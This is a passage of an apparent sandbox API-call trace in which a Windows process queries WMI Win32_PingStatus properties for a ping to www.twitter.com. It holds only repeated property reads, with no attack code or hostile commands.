(bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.390] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6628*=0, plFlavor=0x25c662c*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25c6628*=3, plFlavor=0x25c662c*=64) returned 0x0 [0160.391] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c665c*=0, plFlavor=0x25c6660*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25c665c*=8200, plFlavor=0x25c6660*=64) returned 0x0 [0160.391] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6690*=0, plFlavor=0x25c6694*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25c6690*=8, plFlavor=0x25c6694*=64) returned 0x0 [0160.391] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.391] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.391] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c66dc*=0, plFlavor=0x25c66e0*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25c66dc*=8, plFlavor=0x25c66e0*=64) returned 0x0 [0160.391] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.391] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.391] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6728*=0, plFlavor=0x25c672c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c6728*=8, plFlavor=0x25c672c*=64) returned 0x0 [0160.392] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.392] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.392] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0160.392] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0160.392] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.392] IWbemClassObject:Get (in: This=0x5f6b230, wszName="BufferSize", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6960*=0, plFlavor=0x25c6964*=0 | out: pVal=0x5bde8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x25c6960*=19, plFlavor=0x25c6964*=0) returned 0x0 [0160.392] IWbemClassObject:Get (in: This=0x5f6b230, wszName="BufferSize", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6960*=19, plFlavor=0x25c6964*=0 | out: pVal=0x5bde980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x25c6960*=19, plFlavor=0x25c6964*=0) returned 0x0 [0160.393] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0160.393] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0160.393] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.393] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0160.393] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0160.393] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.393] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0160.393] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.393] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.393] SafeArrayGetLBound (in: psa=0x5f6db48, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0160.393] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.393] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.393] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.393] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.393] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.393] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.393] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.394] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.394] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.394] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.394] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.394] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.394] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.394] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.394] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.394] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.394] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.394] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.394] SysStringByteLen (bstr="__PATH") returned 0xc [0160.394] SysStringByteLen (bstr="__PATH") returned 0xc [0160.394] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6e8c*=0, plFlavor=0x25c6e90*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25c6e8c*=3, plFlavor=0x25c6e90*=64) returned 0x0 [0160.395] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6ec0*=0, plFlavor=0x25c6ec4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c6ec0*=8, plFlavor=0x25c6ec4*=64) returned 0x0 [0160.395] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.395] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.395] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6f18*=0, plFlavor=0x25c6f1c*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6f18*=8, plFlavor=0x25c6f1c*=64) returned 0x0 [0160.395] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6f40*=0, plFlavor=0x25c6f44*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c6f40*=8, plFlavor=0x25c6f44*=64) returned 0x0 [0160.395] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.395] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.395] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6f98*=0, plFlavor=0x25c6f9c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c6f98*=8, plFlavor=0x25c6f9c*=64) returned 0x0 [0160.395] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.395] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.396] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7174*=0, plFlavor=0x25c7178*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25c7174*=3, plFlavor=0x25c7178*=64) returned 0x0 [0160.396] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c71a8*=0, plFlavor=0x25c71ac*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25c71a8*=8200, plFlavor=0x25c71ac*=64) returned 0x0 [0160.396] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c71dc*=0, plFlavor=0x25c71e0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25c71dc*=8, plFlavor=0x25c71e0*=64) returned 0x0 [0160.396] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.396] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.396] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7228*=0, plFlavor=0x25c722c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25c7228*=8, plFlavor=0x25c722c*=64) returned 0x0 [0160.397] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.397] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.397] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7274*=0, plFlavor=0x25c7278*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c7274*=8, plFlavor=0x25c7278*=64) returned 0x0 [0160.397] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.397] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.397] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0160.397] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0160.397] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.397] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ResponseTime", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c74ac*=0, plFlavor=0x25c74b0*=0 | out: pVal=0x5bde898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), pType=0x25c74ac*=19, plFlavor=0x25c74b0*=0) returned 0x0 [0160.397] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0160.397] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0160.397] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.398] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0160.398] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0160.398] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.398] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0160.398] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.398] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.398] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0160.398] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.398] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.398] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.398] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.398] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.398] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.398] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.398] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.398] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.398] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.398] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.398] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.399] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.399] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.399] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.399] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.399] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.399] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.399] SysStringByteLen (bstr="__PATH") returned 0xc [0160.399] SysStringByteLen (bstr="__PATH") returned 0xc [0160.399] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7860*=0, plFlavor=0x25c7864*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25c7860*=3, plFlavor=0x25c7864*=64) returned 0x0 [0160.399] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7894*=0, plFlavor=0x25c7898*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c7894*=8, plFlavor=0x25c7898*=64) returned 0x0 [0160.399] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.399] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.400] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c78ec*=0, plFlavor=0x25c78f0*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c78ec*=8, plFlavor=0x25c78f0*=64) returned 0x0 [0160.400] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7914*=0, plFlavor=0x25c7918*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c7914*=8, plFlavor=0x25c7918*=64) returned 0x0 [0160.400] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.400] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.400] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c796c*=0, plFlavor=0x25c7970*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c796c*=8, plFlavor=0x25c7970*=64) returned 0x0 [0160.400] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.400] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.400] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7b48*=0, plFlavor=0x25c7b4c*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25c7b48*=3, plFlavor=0x25c7b4c*=64) returned 0x0 [0160.400] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7b7c*=0, plFlavor=0x25c7b80*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25c7b7c*=8200, plFlavor=0x25c7b80*=64) returned 0x0 [0160.401] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7bb0*=0, plFlavor=0x25c7bb4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25c7bb0*=8, plFlavor=0x25c7bb4*=64) returned 0x0 [0160.401] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.401] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.401] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7bfc*=0, plFlavor=0x25c7c00*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25c7bfc*=8, plFlavor=0x25c7c00*=64) returned 0x0 [0160.401] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.401] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.401] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7c48*=0, plFlavor=0x25c7c4c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c7c48*=8, plFlavor=0x25c7c4c*=64) returned 0x0 [0160.401] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.401] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.402] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.402] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ResponseTime", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7e80*=0, plFlavor=0x25c7e84*=0 | out: pVal=0x5bde8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), pType=0x25c7e80*=19, 